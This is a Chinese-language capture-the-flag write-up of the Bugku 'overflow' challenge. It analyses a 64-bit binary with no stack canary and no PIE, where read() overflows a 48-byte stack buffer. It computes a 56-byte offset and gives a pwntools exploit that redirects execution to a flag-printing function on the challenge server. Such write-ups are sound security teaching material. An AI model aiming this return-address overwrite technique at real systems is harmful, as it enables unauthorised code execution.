Bugku Overflow Writeup

检查文件

pwndbg> checksec
File:     /home/zhailin/CTF_Challenges/Pwn/BUGKU/overflow/pwn2
Arch:     amd64
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX unknown - GNU_STACK missing
PIE:        No PIE (0x400000)
Stack:      Executable
RWX:        Has RWX segments
Stripped:   No

放入IDA Pro中

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE s[48]; // [rsp+0h] [rbp-30h] BYREF

  memset(s, 0, sizeof(s));
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 1, 0);
  puts("say something?");
  read(0, s, 0x100u);
  puts("oh,that's so boring!");
  return 0;
}

主函数中定义了一个char类型数组s,首先,memset()函数将char类型数组s的前0x30字节初始化为0,之后,read()函数以s作为缓存区读取了0x100个字节的数据

我们继续在IDA中寻找,发现存在一个get_shell_()函数,地址为0x400751函数的返回值使用system()函数执行了cat flag命令,这样可以直接得到flag

images

这样我们就有了思路:输入0x30个字节的数据覆盖s,再输入8个字节的数据覆盖栈底指针rbp,然后将返回值修改为get_shell_()函数的地址

或者一个更直接的思路,我们在pwndbg中调试,先生成一个长度为200的随机字符串,然后将程序run起来

images

我们将随机数据输入后程序崩溃,观察到原先的内容都被我们输入的随机数据所覆盖,rsp的地址直接被覆盖为haaaaaaa(换算成Hex是0x6161616161616168),计算得出偏移量是56

images

Exp如下:

from pwn import *

#io = process('./pwn2')
io = remote("117.72.52.127", 11909) 

payload = b'a' * 56 + p64(0x400751)
io.recvline("say something?\n")
io.send(payload)
io.interactive()

Bugku Overflow Writeup
https://zer0ptr.github.io/2025/09/24/bugku-overflow-wp/
Author
hakmaple
Posted on
September 24, 2025
Licensed under